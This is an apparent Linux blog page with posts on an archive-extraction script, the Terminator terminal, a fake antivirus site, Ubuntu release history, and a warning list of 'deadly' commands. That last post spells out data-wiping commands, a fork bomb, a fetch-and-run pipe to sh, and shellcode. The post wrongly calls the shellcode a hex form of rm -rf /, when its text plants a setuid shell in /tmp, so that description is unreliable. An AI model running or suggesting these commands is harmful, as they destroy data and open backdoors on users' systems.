Random Posts

Subscribe to our RSS Feed

Subscribe to get the latest update sent to you via RSS/eMail/IM/Twitter!



Linux

14
Jan

e – Extract Any Archive

What?
With this little tool you can extract almost any archive in Linux so you do not need to remember which tool and what command lines are necessary.

Why?
I got fed up with the sheer impossible number of compression formats out there. I am an avid linux command line user, but remembering 20 different commands with strange switches to get to the juicy content of a compressed files is too much for me.

Therefore I have just happily spent a few hours of my life to write the application e that identifies which extraction tool to call with what parameter in order to save me precious seconds of rereading forgotten manpages.

Usage
This marvelous extraction tool works like this:

Extract a zip file:

e file.zip

Extract a rar file:

e file.rar

Extract several archives, one after another:

e a.tar.gz b.tar.bz2 c.cab d.deb e.rpm

Extract every file from the current directory:

e *

If possible, e identifies the file format by the content and not by the extension, so for most filetypes e can extract it no matter how you name it. It supports rar, zip, tar.gz, tar.bz2, cab, ace, 7zip, dep, rpm, lha, lzop, rzip, and some more; it is very easy to extend it to support other compression utilities.

I was also inspired by the ugliness of the tool unp which tries to do exactly what e does. I did not like the implementation (written in Perl), and thought I can have the same features in a much simpler and more extensible way. The result is that e is just about 80 lines of code, where most of it is either comment or rules that define when to call what. If you know Ruby, have a look at the code.
Installation

For the impatient, installation on Ubuntu:

sudo apt-get install ruby
wget http://martin.ankerl.com/files/e
chmod a+x e
sudo mv e /usr/local/bin

Step by step:

1. e is written in Ruby, so you need to install this.
2. Download e from here
3. copy e into your /usr/local/bin directory
4. make it executable with chmod +x /usr/local/bin/e.

If you find an archive that e cannot extract and you know a working rule for it, please tell me and I will integrate it.

Download
* Get e here.

09
Jan

Maximize Your Terminal Usage with Terminator

Terminator
is a simple program that allows you to load multiple terminals and
arrange them in grid. It is useful when you need to access to various
terminals at the same time.

Some of the feature in Terminator includes:

  • Arrange terminals in grid
  • multiple tabs
  • drag and drop reordering of terminal
  • keyboard shortcuts
  • config file to override gnome-terminal setting

To install terminator, you can either click here or in your terminal, type

sudo apt-get install terminator

Go to Applications -> Accessories -> Terminator

Read More

21
Dec

This is Why I Love Microsoft’s OS

Screenshot-The page at http:--live-antivirus-scan.com says:
I don’t like it when my PC creahes.

Screenshot-The page at http:--live-antivirus-scan.com says:-1
The file has been digitally signed and independently certified as 100% free of spyware, adware and viruses.

Screenshot-Antivirus 2009 - Mozilla Firefox-2
After
scanning my C:/ drive and my Window files, it reported that I had an
IEMonster, Porn Advertiser & Trojan Banker InfoStealer.
I didn’t even know I had a C:/ drive or that Microsoft issued Security Warnings to Linux Users.

Screenshot-Opening A9installer_880147.exe
I feel sorry for people who hit install.

Trust
me, that Microsoft certification course you took at the community
college/high school only certifies that you can attend a class.

13
Dec

History of Ubuntu, from Warthog to Ibex

Ubuntu, our favorite and the largest community-supported linux
distribution is gradually becoming one of the best free and open-source
operating systems ever.

Based on Debian, Ubuntu is known to be a very secure and stable
Linux platform which is evolving day by day with two major releases
each year. The next release of Ubuntu, Intrepid Ibex promises an even
more secure and user-friendly environment.

As we move forward, lets take a look at the evolution and development of this OS.

Ubuntu 4.10, Warty Warthog

Released in October 2004, this was the first ever release of Ubuntu.
This was the first version to offer free ShipIt services which allows
users to order free CDs. It shipped with early versions of GAIM, GIMP,
GNOME, OpenOffice and Firefox.

Ubuntu 5.04, Hoary Hedgehog

Hedgehog was the second release of Ubuntu which surfaced in April
2005. It was the first ever Ubuntu release to allow installation from
USB devices. It included new features such as the update manager,
upgrade notifier and hibernate/standby support.

Ubuntu 5.10, Breezy Badger

Badger was released in October 2005 and marks the third installment
of Ubuntu Linux. A lot of new and useful features were introduced in
this release such as a graphical bootloader, Add/Remove app, language
selector, HP printer support, OEM installer support and integration
with Launchpad (for bug reporting).

Ubuntu 6.06, Dapper Drake

Releasing in June 2006, Drake was the first ever Ubuntu release to
break the 6-month release convention and also the first Long Term
Support (LTS) release. In this release, the Live CD and Install CD was
merged onto one disc a splash-screen for startup as well shutdown was
introduced. It featured the Humanlooks theme for the first time based
on Clearlooks with more orange than brown.

Ubuntu 6.10, Edgy Eft

Edgy was the fifth release of Ubuntu Linux, it came out in October
2006. It included a heavily modified version of the Human theme, a
note-taking app calle Tomboy and F-spot photo manager. It also included
EasyUbuntu as a meta-package.

Ubuntu 7.04, Feisty Fawn

Feisty Fawn, released in April 2007, marks the sexith release of
Ubuntu Linux. It included a new migration assistant to help users
switch from Windows to Ubuntu easily. Other noticeable features were
Compiz 3D effects, support for WiFi protected access, new games (Sudoko
and Chess). It dropped support for PowerPCs.

Ubuntu 7.10, Gutsy Gibbon

One of my favorite releases so far, the Gutsy Gibbon was released in
October 2007. It is the seventh release of Ubuntu and started the
Linux-for-Desktop trend because of its high stability and user-friendly
functions. It included an even fast desktop search, a Firefox plugin
manager, fast user-switching mode and Compiz Fusion (enabled by
default). Also in this release GAIM was renamed and included as Pidgin.

Ubuntu 8.04, Hardy Heron

This is the eighth and the latest stable release of Ubuntu. Released
in April 2008, Heron boasts to be the second Long Term Support (LTS)
release. It included Tracker desktop search integration, Brasero disk
burner, Transmission BitTorrent client, Vinagre VNC client and a lot of
usability and performance improvements to Compiz. It also included
Wubi, that allowed Ubuntu to be installed as a single file on a Windows
hard drive without the need to repartition the disk.

Ubuntu 8.10, Intrepid Ibex

Coming later this month, Intrepid Ibex will be the ninth Ubuntu
release. For all we know, it has got a new network manager with better
support for 3G networks, Nautilus now has support for tabs,
auto-install drivers option now works with printers, there is a whole
new black theme and a better flash support.

21
Nov

The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.